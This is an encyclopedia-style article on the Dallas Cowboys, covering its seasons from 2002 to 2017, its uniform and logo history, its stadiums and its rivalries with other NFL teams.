Prior to the 2002 season Dallas drafted safety Roy Williams with the 8th overall pick. The season started out low as the Cowboys lost to the expansion Houston Texans 19–10 on Week 1. By far the highlight of 2002 was on October 28, when during a home game against the Seattle Seahawks, Emmitt Smith broke the all-time NFL rushing record previously held by Walter Payton. Their Thanksgiving Day win over the Redskins was their 10th consecutive win against Washington. However, that was their final win of 2002: Dallas lost their next 4 games to finish with another last place 5–11 record. The losing streak was punctuated with a Week 17 20–14 loss against Washington. That game was Smith's last game as a Cowboys player: he was released during the offseason. Campo was immediately fired as head coach at the conclusion of the season.
Jones then lured Bill Parcells out of retirement to coach the Cowboys. The Cowboys became the surprise team of the 2003 season getting off to a hot 7–2 record, but went 3–4 for the rest of the season. They were able to win the division with the 10–6 record but lost in the Wild Card round to eventual conference champion Carolina Panthers, 29–10.
In 2004 Dallas was unable to replicate their 2003 success, and ended 6–10. Quincy Carter was released during the preseason and was replaced at QB by Vinny Testaverde.
Dallas got off to a hot 7–3 start for the 2005 season but ended up in 3rd place with a 9–7 record. Prior to the beginning of that season, they signed veteran Drew Bledsoe as starting quarterback.
2006 was an interesting year for the Cowboys. Prior to the season they signed free agent wide receiver Terrell Owens who was talented yet controversial. The Cowboys started the season 3–2. During a week 7 matchup against the Giants, Bledsoe, who had been struggling since the start of the season, was pulled from the game and was replaced by backup Tony Romo. Romo was unable to salvage that game and Dallas lost 38–22. However, Romo was named the starter for the team and went 5–1 in his first 6 games. Dallas ended the season with a 9–7 2nd-place finish. They were able to clinch the number 5 playoff seed. They traveled to play Seattle where the Seahawks won 21–20. After the season Parcells retired and was replaced by Wade Phillips.[14]
Dallas started the 2007 season with a bang, winning their first five games. They won 12 of their first 13 games, with their only loss during that span being to New England, who went undefeated that season. Despite dropping two of their last three regular season games, the Cowboys clinched their first number 1 NFC seed in 12 years, which also granted them a first round bye and home field advantage throughout the playoffs. They lost in the divisional round 21–17 to the eventual Super Bowl champion New York Giants.
In the tumultuous 2008 season, the Cowboys started off strong, going 3–0 for the second straight year, en route to a 4–1 start. However, things soon went downhill from there, after quarterback Tony Romo suffered a broken pinkie in an overtime loss to the Arizona Cardinals. With Brad Johnson and Brooks Bollinger playing as backups, Dallas went 1–2 during a three-game stretch. Romo's return showed promise, as Dallas went 3–0. However, injuries mounted during the season, with the team losing several starters for the year, such as Kyle Kosier, Felix Jones, safety Roy Williams, punter Mat McBriar, and several other starters playing with injuries.[15] Entering December, the 8–4 Cowboys underperformed, finishing 1–3. They failed to make the playoffs after losing at Philadelphia in the final regular season game which saw the Eagles reach the playoffs instead.
On May 2, 2009, the Dallas Cowboys' practice facility collapsed during a wind storm. The collapse left twelve Cowboys players and coaches injured. The most serious injuries were special teams coach Joe DeCamillis, who suffered fractured cervical vertebrae and had surgery to stabilize fractured vertebrae in his neck, and Rich Behm, the team's 33-year-old scouting assistant, who was permanently paralyzed from the waist down after his spine was severed.
The 2009 season started positively with a road win against Tampa Bay, but fortunes quickly changed as Dallas fell to a 2–2 start. In week five, with starting wide receiver Roy Williams sidelined by injury, receiver Miles Austin got his first start of the season and had a record setting day (250 yards receiving and 2 touchdowns) to help lead Dallas to an overtime win over Kansas City. Following their bye week, they went on a three-game winning streak including wins over Atlanta and NFC East division rival Philadelphia. Despite entering December with a record of 8–3, they lost their slim grip on 1st place in the division with losses to the New York Giants and San Diego. Talks of past December collapses resurfaced, and another collapse in 2009 seemed validated. However, the team surged in the final three weeks of the season with a 24–17 victory at the Superdome, ending New Orleans' previously unbeaten season in week 15. For the first time in franchise history, they posted back-to-back shutouts when they beat division rivals Washington (17–0) and Philadelphia (24–0) to end the season. In the process, the Cowboys clinched their second NFC East title in three years as well as the third seed in the NFC Playoffs. Six days later, in the wild-card round of the playoffs, Dallas played the Eagles in a rematch of week 17. The Cowboys defeated the Eagles for the first Cowboys' post-season win since the 1996 season, ending a streak of six consecutive NFL post-season losses. Dallas ended their playoff run after a hard divisional playoff loss to the Minnesota Vikings.
After beginning the 2010 season at 1–7, Phillips was fired as head coach and was replaced by offensive coordinator Jason Garrett as the interim head coach.[16] The Cowboys finished the season 6–10.
With the 9th pick of the 1st round of the 2011 draft, the Cowboys selected USC tackle Tyron Smith.
To start the 2011 season the Cowboys played the Jets on a Sunday night primetime game in New York, on September 11, 2011. The Cowboys held the lead through most of the game, until a fumble, blocked punt, and interception led to the Jets coming back to win the game. In week 2 Dallas traveled to San Francisco to play the 49ers. In the middle of the 2nd quarter, while the Cowboys trailed 10–7, Tony Romo suffered a rib injury and was replaced by Jon Kitna. Kitna threw 1 Touchdown and 2 interceptions until Romo returned in the 3rd quarter as Dallas trailed 17–7. Romo then threw 3 touchdown passes to Miles Austin as the Cowboys rallied to send the game into overtime. On their opening possession after a 49ers punt, Romo found WR Jesse Holley on a 78-yard pass, which set up the game-winning field goal by rookie kicker Dan Bailey.
Dallas ended the season 8–8. They were in a position to win the NFC East but lost to the Giants in a Week 17 primetime Sunday Night game on NBC which allowed New York to win the division. The Giants would go on to win Super Bowl XLVI.
The Cowboys started off the 2012 season on a high note by defeating the defending Super Bowl Champion New York Giants 24–17 on the opening night of the season. They would hover around the .500 mark for the majority of the season. They lost a close Week 6 game to eventual Super Bowl XXVII Champion Baltimore Ravens 31–29 at M&T Bank Stadium in Baltimore.
Going into Week 17 they found themselves once again one win away from winning the division. Standing in their way were the Redskins, who had beaten them on Thanksgiving at AT&T Stadium and whom were also one win away from their first division title since 1999. Led by Robert Griffin III the Redskins defeated the Cowboys at home 28-18. Dallas once again finished the season 8–8.
In the 2013 season Dallas started off by defeating the Giants for the second straight year; this time 36–31. It was the first time since AT&T Stadium had opened back in 2009 that the Cowboys were able to defeat New York at home. The win was punctuated by Brandon Carr intercepting an Eli Manning pass for a touchdown late in the 4th quarter.
For the third straight year Dallas once again found themselves stuck in the .500 area. In Week 5, they lost a shootout to eventual AFC Champion Denver Broncos 51–48. They battled it out with Philadelphia for control of the division throughout the season. In December however they lost 2 crucial back to back games to Chicago and Green Bay. They were very successful in division games having a 5–0 division record heading into another Week 17 showdown for the NFC East crown against the Eagles. That included beating Washington 24–23 on Week 16 thanks to late game heroics of Tony Romo. However Romo received a severe back injury in that game which prematurely ended his season. The Cowboys called upon backup QB Kyle Orton to lead them into battle on the final week of the season. Orton was unsuccessful who threw a game ending interception to the Eagles which allowed Philly to win 24–22. Dallas ended the year at 8–8 for the third year in a row. The only difference of this 8–8 ending compared to the others was that Dallas ended the season in second place compared to the 2 previous 3rd-place finishes.
To start off the 2014 season Dallas began by losing to San Francisco 28–17. After that they went on a 6-game winning streak. The highlight of this streak was defeating the Seahawks at CenturyLink Field 30–23. In Week 8, the Redskins won in overtime 20–17, and Romo injured his back again. He missed next week, a home loss to the Arizona Cardinals 28–17 with backup QB Brandon Weeden. Romo returned in Week 9 to lead a 31–17 victory over the Jacksonville Jaguars, which was played at Wembley Stadium in London, England as part of the NFL International Series.
Dallas played their traditional Thanksgiving home game against division rival Philadelphia. Both teams were vying for first place in the division with identical 8–3 records. The Eagles got off to a fast start and the Cowboys were unable to catch up, losing 33–10. They would rebound the next week when they defeated Chicago 41–28. Week 15 was a rematch against 1st place Philadelphia. This time it was the Cowboys who got off to a fast start going up 21–0. Then the Eagles put up 24 points but Dallas came back to win 38–27 to go into first place for the first time in the season and improve to 10–4. Going into their Week 16 matchup at home against Indianapolis, Dallas was in a position to clinch their first division title since 2009 by defeating the Colts 42-7 and the Eagles losing that week to the Redskins. They became the 2014 NFC East Champions, eliminating the Eagles from the playoffs. Dallas ended the regular season with a 12–4 record and an 8–0 away record when they won on the road against Washington 44–17.
On January 4, 2015, the Cowboys, as the number 3 seed, hosted the number 6 seed Detroit Lions in the wild card round of the NFL playoffs. In the game, the Lions got off to a hot start, going up 14–0 in the first quarter. Dallas initially struggled on both sides of the ball. However, towards the end of the second quarter Romo threw a 76-yard touchdown pass to Terrance Williams. Matt Prater of the Lions would kick a field goal before halftime to go up 17–7. Dallas came out swinging to start the second half by picking off Detroit quarterback Matthew Stafford on the first play of the third quarter. However, the Cowboys failed to capitalize on the turnover, as Dan Bailey missed a field goal during Dallas's ensuing drive. Detroit then kicked another field goal to make the score 20–7. A DeMarco Murray touchdown later in that quarter closed the gap to 20–14. A 51-yard Bailey field goal almost 3 minutes into the fourth quarter trimmed the Cowboys' deficit to 3. The Lions got the ball back and started driving down the field. On 3rd down-and-1 of that Lions drive, Stafford threw a 17-yard pass intended for Lions tight end Brandon Pettigrew, but the ball hit Cowboys linebacker Anthony Hitchens in the back a fraction of a second before he ran into Pettigrew. The play was initially flagged as defensive pass interference against Hitchens. However, the penalty was then nullified by the officiating crew. The Cowboys got the ball back on their 41-yard line and had a successful 59-yard drive which was capped off by an 8-yard touchdown pass from Romo to Williams to give the Cowboys their first lead of the game at 24–20. The Lions got the ball back with less than 2:30 to play in regulation. Stafford fumbled the ball at the 2 minute mark. The fumble was recovered by Cowboys defensive end DeMarcus Lawrence, who then fumbled the ball which was recovered by the Lions. Lawrence would redeem himself by sacking Stafford on a 4th down-and-3 play. The sack led to Stafford fumbling the ball again, which Lawrence recovered to seal the game for the Cowboys, who won 24–20. This was the first time in franchise playoff history that Dallas had been down by 10 or more points at halftime and rallied to win the game. The following week, the Cowboys traveled to Lambeau Field in Green Bay, Wisconsin to play the Packers in the divisional round. Despite having a 14–7 halftime lead, the Cowboys fell to the Packers 26–21, thus ending their season. The season ended on an overturned call of a completed catch by Dez Bryant. The catch was challenged by the Packers, and the referees overturned the call because of the "Calvin Johnson rule."
During the 2015 offseason the Cowboys allowed running back DeMarco Murray to become a free agent. Murray signed with the division rival Philadelphia Eagles. On July 15 wide receiver Dez Bryant signed a 5-year, $70 million contract.
At home against the New York Giants, Dallas won 27–26. Dez Bryant left the game early with a fractured bone in his foot. On the road against the Philadelphia Eagles, Romo suffered a broken left collarbone, the same one he injured in 2010, and Brandon Weeden replaced him. Dallas won 20–10 to begin the season 2–0, but then went on a seven-game losing streak. They finished the season 4–12 and last in their division.
After a preseason injury to Tony Romo, rookie quarterback Dak Prescott was slated as the starting quarterback, as Romo was expected to be out 6–8 weeks. In game 1 against the New York Giants, Dallas lost 20–19. After this loss, Dallas would go on an eleven-game winning streak. After much speculation leading to a potential quarterback controversy, Romo made an announcement that Prescott had earned the right to take over as the Cowboys starting quarterback.
In game 10, Romo suited up for the first time in the season and was the backup quarterback. Dallas defeated the Baltimore Ravens to win their 9th straight game, breaking a franchise record of 8 straight games set in 1977. It also marked rookie running back Ezekiel Elliott breaking Tony Dorsett's single season rushing record for a Cowboys rookie. Prescott also tied an NFL rookie record held by Russell Wilson and Dan Marino by throwing multiple touchdowns in 5 straight games. Dallas finished 13–3, tying their best 16-game regular season record. While Dallas defeated Green Bay at Lambeau Field in week 6, the Packers would win at AT&T Stadium in the divisional round of the NFL playoffs on a last-second field goal, ending the Cowboys’ season.
Dak Prescott was named NFL Rookie of the Year in the NFL honors on February 4, 2017, and Ezekiel Elliott led the league in rushing yards. Both Prescott and Elliott made the 2017 Pro Bowl. This is the first time the Cowboys sent two rookies to the Pro Bowl.[17]
2017 was the first season since 2002 without quarterback Tony Romo, who retired on April 4 after 14 seasons with the Cowboys. The season also featured second-year running back Ezekiel Elliott being suspended for 6 games after violating the league's conduct policy. The suspension was to begin at the start of the year but was pushed back to November. The Cowboys finished the year at 9-7 without making the playoffs. Following the season, Dez Bryant was released after eight seasons in Dallas and tight end Jason Witten, who holds several franchise receiving records, retired after 15 seasons, ending an era.
The Dallas Cowboys' 2017 season was the subject of the third season of Amazon's sports documentary series All or Nothing. The series is produced by NFL Films.[18]
Logos and uniforms
Logo
The Cowboys' script logo.
The Dallas Cowboys' blue star logo, representative of Texas as "The Lone Star State", is one of the most well-known team logos in professional sports. The blue star originally was a solid shape until a white line and blue border was added in 1964. The logo has remained the same since. Today, the blue star has been extended to not only the Dallas Cowboys, but owner Jerry Jones' AFL team, the Dallas Desperados that have a similar logo based on that of the Cowboys. The blue star also is used on other entries like an imaging facility and storage facility.
Uniforms
The Dallas Cowboys' white home jersey has royal blue (PMS 287 C) solid socks, numbers, lettering, and two stripes on the sleeves outlined in black. The home pants are a common metallic silver-green color (PMS 8280 C) that helps bring out the blue in the uniform. The navy (PMS 289 C) road jerseys (nicknamed the "Stars and Stripes" jersey) have white lettering and numbers with navy pinstripes. A white/gray/white stripe are on each sleeve as well as the collared V-neck, and a Cowboys star logo is placed upon the stripes. A "Cowboys" chest crest is directly under the NFL shield. The away pants are a pearlish metallic-silver color (PMS 8180 C) and like the home pants, enhance the navy in the uniforms. The team uses a serifed font for the lettered player surnames on the jersey nameplates.[19][2][3]
The team's helmets are also a unique silver with a tint of blue known as "Metallic Silver Blue" (PMS 8240 C) and have a blue/white/blue vertical stripe placed upon the center of the crown. The Cowboys also include a unique, if subtle, feature on the back of the helmet: a blue strip of Dymo tape with the player's name embossed, placed on the white portion of the stripe at the back of the helmet.
Front of Dallas Cowboys helmet
Back of Dallas Cowboys helmet
Uniform history
When the Dallas Cowboys franchise debuted in 1960, the team's uniform included a white helmet adorned with a simple blue star and a blue-white-blue stripe down the center crown. The team donned blue jerseys with white sleeves and a small blue star on each shoulder for home games and the negative opposite for away games. Their socks also had two horizontal white stripes overlapping the blue.
circa 1960–1963
Blue home uniforms
White away uniforms
In 1964 the Cowboys opted for a simpler look (adopting essentially the team's current uniform) by changing their jersey/socks to one solid color with three horizontal stripes on the sleeves; the white jersey featured royal blue stripes with a narrow black border, the royal blue jersey white stripes with the same black outline. The star-shouldered jerseys were eliminated; "TV" numbers appeared just above the jersey stripes. The new helmet was silverblue, with a blue-white-blue tri-stripe down the center (the middle white stripe was thicker). The blue "lone star" logo was retained, but with a white border setting it off from the silver/blue. The new pants were silver/blue, with a blue-white-blue tri-stripe. In 1964 the NFL allowed teams to wear white jerseys at home; several teams did so, and the Cowboys have worn white at home ever since, except on certain "throwback" days.
In 1966, the team modified the jerseys, which now featured only two sleeve stripes, slightly wider; the socks followed the same pattern. In 1967 the "lone star" helmet decal added a blue outline to the white-bordered star, giving the logo a bigger, bolder look. The logo and this version of the uniform has seen little change to the present day.
circa 1964–1966
White home uniforms
Blue away uniforms
The only notable changes in the last 40 years were:
from 1970–1973 when the "TV" numbers were moved from the shoulders to the sleeves above the stripes
from 1982–1988 the pants featured a white uniform number in an elliptical blue circle worn near the hip.
the removal of the indented serifs on the front and back jersey numbers in the early 1980s (seen currently on the throwback jersey)
In 1980 the blue jersey was rendered in a slightly darker shade than the 1964–79 version; from 1981–1994 the dark jerseys sported numbers that were gray with white borders and a blue pinstripe. The stripes on the sleeves and socks also used the same gray with white border scheme (sans navy pinstripe).
Player names on jersey backs, which appeared in 1970, were originally in block-letter style; from 1982 onward the names were slightly smaller and in footed, "serif" style.
the 1996 addition of the word "Cowboys" in the center of the neckline which lasted until 1998 on the white jersey but currently remains on the blue jersey.
During the 1976 season, the blue-white-blue stripe on the crown of the helmets were temporarily changed to red-white-blue to commemorate the United States' bicentennial anniversary.
The "throwback" NFL 75th Anniversary uniform was introduced in 1994.
In 1994, the NFL celebrated their 75th Anniversary, and the Dallas Cowboys celebrated their back-to-back Super Bowl titles by unveiling a white "Double-Star" jersey on Thanksgiving Day. This jersey was used for special occasions and was worn throughout the 1994–1995 playoffs. During the same season, the Cowboys also wore their 1960–63 road jersey with a silver helmet for one game as part of a league-wide "throwback" policy.
During the 1995 season, the team wore the navy "Double-Star" jersey for games at Washington and Philadelphia and permanently switched to solid color socks (royal blue for the white uniform, and navy blue for the dark uniform). The navy "Double-Star" jersey was not seen again until the NFL's Classic Throwback Weekend on Thanksgiving Day 2001–2003.
In 2004, the Cowboys resurrected their original 1960–1963 uniform on Thanksgiving Day. This uniform became the team's alternate or "third jersey" and was usually worn at least once a year, primarily Thanksgiving Day. Two exceptions were when the Cowboys wore their normal white uniforms on Thanksgiving in 2007 and 2008. While the team didn't wear the throwback uniform exactly on Thanksgiving Day in those two years, Dallas wore them on a date around Thanksgiving for those two years. In 2007 Dallas wore the throwback uniform on November 29, 2007 against the Green Bay Packers. In 2008 Dallas wore the throwback uniform on November 23, 2008 against the San Francisco 49ers. The team went back to wearing this uniform at home on Thanksgiving Day in 2009 while their opponent was the Oakland Raiders who wore their AFL Legacy Weekend throwbacks. Dallas wore this alternate uniform on October 11, 2009 as part of one of the NFL's AFL Legacy Weekends when they traveled to Kansas City to play the Chiefs who were sporting their AFL Dallas Texans' uniforms. This created a rare game in which neither team wore a white jersey and the first time the Cowboys wore the alternative uniform as a visiting team. The 1960–1963 uniform may also be used on other special occasion. Other instances include the 2005 Monday Night game against the Washington Redskins when the team inducted Troy Aikman, Emmitt Smith, and Michael Irving into the Cowboys Ring of Honor, and the 2006 Christmas Day game against the Philadelphia Eagles.
In 2013, the NFL issued a new helmet rule stating that players will no longer be allowed to use alternate helmets due to the league's enhanced concussion awareness. This caused the Cowboys' white 1960s throwback helmets to become non-compliant. The team instead decided to wear their normal blue jerseys at home for Thanksgiving, which has since become an annual tradition.[20] In 2017, the team initially announced that they will wear blue jerseys at home on a more regular basis, only to rescind soon after.[21][22]
In 2015, the Cowboys released their Color Rush uniform, featuring a variation of the 1990s "Double Star" alternates with white pants and socks. The uniform was first used in a Thanksgiving game against the Carolina Panthers and in subsequent Thursday Night Football games during the 2016 and 2017 seasons.
The Cowboys also unveiled a navy uniform-white pants combination which was first used on December 10, 2017 against the Giants.[19]
Home/road jersey history
In 1964, Tex Schramm started the tradition of the Cowboys wearing their white jersey at home, contrary to an unofficial rule that teams should wear colored jerseys at home. Schramm did this because he wanted fans to see a variety of opponents' colors at home games.[20][23][24] Since then, a number of other teams have worn their white uniforms at home, including the Miami Dolphins. According to Mike McCord, the Cowboys' equipment director, one of the reasons why the Cowboys started wearing white at home was because of the intense heat during Cowboys' home games at Texas Stadium.[21][22]
Roger Staubach and Bob Lilly jerseys shown at Pro Football Hall of Fame in Canton, Ohio.
Throughout the years, the Cowboys' blue jersey has been popularly viewed to be "jinxed" because the team often seemed to lose when they wore them. This purported curse drew attention after the team lost Super Bowl V with the blue jerseys.[25] However, the roots of the curse likely date back earlier to the 1968 divisional playoffs, when the blue-shirted Cowboys were upset by the Cleveland Browns in what turned out to be Don Meredith's final game with the Cowboys. Dallas's lone victory in a conference championship or Super Bowl wearing the blue jerseys was in the 1978 NFC Championship game against the Los Angeles Rams.
Since the 1970 NFL-AFL merger, league rules were changed to allow the Super Bowl home team to pick their choice of jersey. Most of the time, Dallas will wear their blue jerseys when they visit Washington, Philadelphia (sometimes), Miami, or one of the handful of other teams that traditionally wear their white jerseys at home during the first half of the season due to the hot climates in their respective cities or other means. Occasionally opposing teams will wear their white jerseys at home to try to invoke the curse,[26] such as when the Philadelphia Eagles hosted the Cowboys in the 1980 NFC Championship Game,[27] as well as their November 4, 2007 meeting. Various other teams followed suit in the 1980s.
Although Dallas has made several tweaks to their blue jerseys over the years, Schramm said he did not believe in the curse.[28] Since the league began allowing teams to use an alternate jersey, the Cowboys' alternates have been primarily blue versions of past jerseys and the Cowboys have generally had success when wearing these blue alternates. With the implementation of the 2013 NFL helmet rule for alternate jerseys, the team decided instead to wear their regular blue jerseys for their Thanksgiving game, something they have not done at home since Schramm started the white-jersey-at-home tradition.[20]
Thanksgiving Day uniforms
With the Cowboys traditionally hosting Thanksgiving Day games, separate practice uniforms have been used for these games in recent years. Through the 2000 season, the Cowboys continued the usual practice of wearing white at home. In 2001, the Cowboys wore blue at home for the first time in years with was an older design of the blue jersey. Dallas would lose the game, but again wore the older blue jersey at home on Thanksgiving the next year and won. With the 2002 victory, it seems an exception to the theory of the blue jersey jinx is invoked on Thanksgiving.
Thus, the Cowboys continued wearing blue at home on Thanksgiving from 2003–2006, however it was always an older-styled alternate blue jersey. In 2007 and 2008, the Cowboys returned to wearing white at home for their Thanksgiving game. From 2009 to 2017, the Cowboys returned to wearing blue at home on Thanksgiving only. (From 2009–2012, the team again decided to go with an older-styled blue uniform as they had in previous years on Thanksgiving, and since 2013 have worn the newer-styled blue jersey.) The Cowboys wore white jerseys on Thanksgiving in 2018.
In the 2015 season, the Cowboys wore their Color Rush variation of the 1990s "Double Star" jerseys for a Thanksgiving game against the Carolina Panthers.[29]
Stadiums
Cotton Bowl
The main entrance of the Cotton Bowl
The Cotton Bowl is a stadium which opened in 1932 and became known as "The House That Doak Built" due to the immense crowds that former SMU running back Doak Walker drew to the stadium during his college career in the late 1940s. Originally known as the Fair Park Bowl, it is located in Fair Park, site of the State Fair of Texas. Concerts or other events using a stage allow the playing field to be used for additional spectators. The Cotton Bowl was the longtime home of the annual Cotton Bowl Classic college football bowl game, for which the stadium is named. (Beginning with the January 2010 game, the Cotton Bowl Classic has been played at Cowboys Stadium in Arlington.) The Dallas Cowboys called the Cotton Bowl home for 11 years, from the team's formation in 1960 until 1971, when the Cowboys moved to Texas Stadium. It is the only Cowboys stadium within the Dallas city limits. The Cowboys hosted the Green Bay Packers for the 1966 NFL Championship at the Cotton Bowl.
Texas Stadium
The outside of Texas Stadium
For the majority of the franchise's history the Cowboys played their home games at Texas Stadium. Just outside the city of Dallas, the stadium was located in Irving. The stadium opened on October 24, 1971, at a cost of $35 million and with a seating capacity of 65,675. The stadium was famous for its hole-in-the-roof dome. The roof's worn paint had become so unsightly in the early 2000s that it was repainted in the summer of 2006 by the City of Irving. It was the first time the famed roof was repainted since Texas Stadium opened. The roof was structurally independent from the stadium it covered. The Cowboys lost their final game at Texas Stadium to the Baltimore Ravens, 33–24, on December 20, 2008. After Cowboys Stadium was opened in 2009, the Cowboys turned over the facility to the City of Irving.
In 2009, it was replaced as home of the Cowboys by Cowboys Stadium, which officially opened on May 27, 2009 in Arlington.[30] Texas Stadium was demolished by implosion on April 11, 2010.
AT&T Stadium
AT&T Stadium during a game
AT&T Stadium, previously named Cowboys Stadium, is a domed stadium with a retractable roof in Arlington. After failed negotiations to build a new stadium on the site of the Cotton Bowl, Jerry Jones, along with the city of Arlington, Texas, a suburb of Fort Worth, funded the stadium at a cost of $1.3 billion. The stadium is located in Tarrant County, the first time the Cowboys will call a stadium home outside of Dallas County. It was completed on May 29, 2009 and seats 80,000, but is expandable to seat up to 100,000. AT&T Stadium is the largest domed stadium in the world.[31]
A highlight of AT&T Stadium is its gigantic, center-hung high-definition television screen, the largest in the world. The 160 by 72 feet (49 by 22 m), 11,520-square-foot (1,070 m2) scoreboard surpasses the 8,736 sq ft (812 m2) screen that opened in 2009 at the renovated Kauffman Stadium in Kansas City as the world's largest.[32][33][34]
At the debut pre-season game of Cowboys Stadium, a punt by Tennessee Titans kicker, A. J. Trapasso, hit the 2,100 in. screen above the field. The punt deflected and was ruled in-play until Titans coach Jeff Fisher informed the officials that the punt struck the scoreboard. (Many believe Trapasso was trying to hit the suspended scoreboard, based on replays and the angle of the kick.) The scoreboard is, however, within the regulation of the NFL guidelines — hanging approximately five feet above the minimum height. No punts hit the scoreboard during the entire 2009 regular season during an actual game. Also, on August 22, 2009, the day after AJ Trapasso hit the screen, many fans touring the facility noted that half of the field was removed with large cranes re-positioning the screen. According to some fans, a tour guide explained that Jerry Jones invited a few professional soccer players to drop kick soccer balls to try to hit the screen. Once he observed them hitting it consistently he had the screen moved up another 10 feet.
The first regular season home game of the 2009 season was against the New York Giants. A league record-setting 105,121 fans showed up to fill Cowboys Stadium for the game before which the traditional "blue star" at the 50-yard line was unveiled for the first time; however, the Cowboys lost in the final seconds, 33–31.[35]
The Cowboys got their first regular season home win on September 28, 2009. They beat the Carolina Panthers 21–7 with 90,588 in attendance. The game was televised on ESPN's Monday Night Football and marked a record 42nd win for the Cowboys on Monday Night Football.[36]
On July 25, 2013, the Cowboys announced that AT&T would be taking over the rights to the name of the stadium.[37]
Training camp sites
Dallas Cowboys training camp locations:[38]
Rivalries
The NFC East, composed of the Cowboys, Philadelphia Eagles, Washington Redskins and New York Giants, is one of the least-changed divisions of the original six formed in the wake of the NFL-AFL merger (its only major changes being the relocation of the Cardinals franchise from St. Louis to Arizona and its subsequent move to the NFC West in the league's 2002 realignment). Three of the four teams have been division rivals since the Cowboys' entry into the NFL. As such, the Cowboys have some of the longest and fiercest rivalries in the sport.
Washington Redskins
The Redskins and Dallas Cowboys enjoy what has been called by Sports Illustrated the top NFL rivalry of all time and "one of the greatest in sports." Some sources trace the enmity to before the Cowboys were even formed, due to a longstanding disagreement between Redskins owner George Preston Marshall and Cowboys founder Clint Murchison, Jr. over the creation of a new football team in the South, due to Marshall's TV monopoly in that region. The two teams' storied on-field rivalry goes back to 1960 when the two clubs first played each other, resulting in a 26–14 Washington victory. Since that time, the two teams have met in 116 regular season contests and two NFC Championships. Dallas leads the regular season all-time series 70–42–2, and the Redskins lead the all-time playoff series 2–0. The Cowboys currently have a 14–7 advantage over the Redskins at FedEx Field. Some notable moments in the rivalry include Washington's victory over Dallas in the 1982 NFC Championship and the latter's 1989 win over the Redskins for their only victory that season. The last Cowboys game with Tom Landry as coach was a win over Washington on December 11, 1988. In the 2010s, the Redskins have struggled to consistently compete for the Division title, but still play the Cowboys particularly tough, posting an impressive upset victory against Dallas in 2014, despite being outclassed by the Cowboys in the overall standings.
Philadelphia Eagles
The competition with Philadelphia has been particularly intense since the late 1970s, when the long-moribund Eagles returned to contention. In January 1981, the two teams faced off in the NFC Championship, with Philadelphia winning 20–7. A series of other factors heightened tensions during the 1980s and 1990s, including several provocative actions by Philadelphia fans and Eagles head coach Buddy Ryan. Among these were the 1989 "Bounty Bowls", in which Ryan allegedly placed a bounty on Dallas kicker Luis Zendejas and Veterans Stadium fans pelted the Cowboys with snowballs and other debris. A 1999 game at Philadelphia saw Eagles fans cheering as Michael Irvin lay motionless and possibly paralyzed on the field. In 2008 the rivalry became more intense when in the last game of the year in which both teams could clinch a playoff spot with a victory, the Philadelphia Eagles defeated the Cowboys 44–6. The following season, the Cowboys avenged that defeat by beating the Eagles three times: twice during the regular season to claim the title as NFC East champions and once more in a wild-card playoff game by a combined score of 78–30, including a 24–0 shutout in week 17. That three-game sweep was Dallas' first over any opponent and the longest winning streak against the Eagles since 1992–1995 when Dallas won seven straight matches against Philadelphia. During the 2013 season Dallas won the first meeting 17–3 at Lincoln Financial Field in Philadelphia. They would meet again in Week 17 at AT&T Stadium with the winner clinching the 2013 NFC East title. The Cowboys came into the game at a disadvantage with starting quarterback Tony Romo out with a season ending back injury which put backup Kyle Orton as the starter. It was a tight game with the Eagles up 24–22 with less than 2 minutes to go in regulation. Orton got the ball and started driving down the field when he was intercepted by the Eagles defense, which ended the game and the Cowboys season. In 2014, the Cowboys and Eagles both won against each other on the road, with Philadelphia posting a dominant 33–10 win on Thanksgiving Day in Dallas, and Dallas returning the favor two weeks later by defeating the Eagles 38–27 in Philadelphia. The second game between these rivals clenched a playoff spot for Dallas and led to formerly first place Philadelphia missing out on the post-season. Dallas leads the regular season all-time series 63–50.
New York Giants
The first game ever played between the Giants and Cowboys was a 31–31 tie on December 4, 1960. Dallas logged its first win in the series on October 29, 1961 and New York's first was on November 11, 1962. Among the more notable moments in the rivalry was the Giants' defeat of Dallas in the 2007 playoffs en route to their victory in Super Bowl XLII and winning the first regular season game played at Cowboys Stadium in 2009. Dallas currently leads the all-time series 65–46–2.
Pittsburgh Steelers
The two teams met in the first regular season game the Cowboys ever played in 1960 (a 35–28 loss to the Steelers), the first-ever regular season victory for the expansion Cowboys in 1961, and would later meet in three Super Bowls, all of them closely contested events. The Steelers-Cowboys is to date the Super Bowl matchup with the most contests. The Steelers won Super Bowl X and Super Bowl XIII; both games were decided in the final seconds, first on a last-second throw by Roger Staubach, then as a fourth-quarter rally by Dallas fell short on an onside kick. The Cowboys won Super Bowl XXX in January 1996. It is said that the rivalry was fueled in the 1970s due to the stark contrast of the teams: the Cowboys, being more of a "flashy" team with Roger Staubach's aerial attack and the "flex" Doomsday Defense; while the Steelers were more of a "blue-collar" team with a strong running game and the 1970s-esque Steel Curtain defense, a contrast that still exists today.[40] In addition, both teams have national fan bases rivaled by few NFL teams, and both come from areas with a strong following for football at all levels. Dallas leads the all-time series 16–13 including the playoffs.
San Francisco 49ers
The bitter rivalry between the Dallas Cowboys and San Francisco 49ers has been going on since the 1970s.[41][42] The NFL Top 10 ranked this rivalry to be the tenth best in the history of the NFL. San Francisco has played Dallas in seven postseason games. The Cowboys defeated the 49ers in the 1970 and 1971 NFC Championship games, and again in the 1972 Divisional Playoff Game. The 1981 NFC Championship Game in San Francisco, which saw the 49ers' Joe Montana complete a game-winning pass to Dwight Clark in the final minute (now known as The Catch) is one of the most famous games in NFL history. The rivalry became even more intense during the 1992–1994 seasons. San Francisco and Dallas faced each other in the NFC Championship Game three separate times. Dallas won the first two match-ups, and San Francisco won the third. In each of these pivotal match-ups, the game's victor went on to win the Super Bowl. Both the Cowboys and the 49ers (and the New England Patriots) are second all-time in Super Bowl victories to the Pittsburgh Steelers with five each. The 49ers-Cowboys rivalry is also part of the larger cultural rivalry between California and Texas. The Cowboys lead the all-time series with a record of 18-17-1.
Green Bay Packers
The Cowboys–Packers rivalry is a rivalry between the Dallas Cowboys and the Green Bay Packers.[43] It is one of the best known intra-conference rivalries in the NFL. The two teams do not play every year; instead, they play once every three years due to the NFL's rotating division schedules, or if the two teams finish in the same place in their respective divisions, they would play the ensuing post-season. The rivalry has also resulted in notable playoff games.[44][45]
The all time regular seasons series record is 15–13 in favor of the Packers, and the postseason series is tied 4–4.
Season-by-season records
Players of note
Current roster
Texas Sports Hall of Fame
Super Bowl MVPs
Ring of Honor
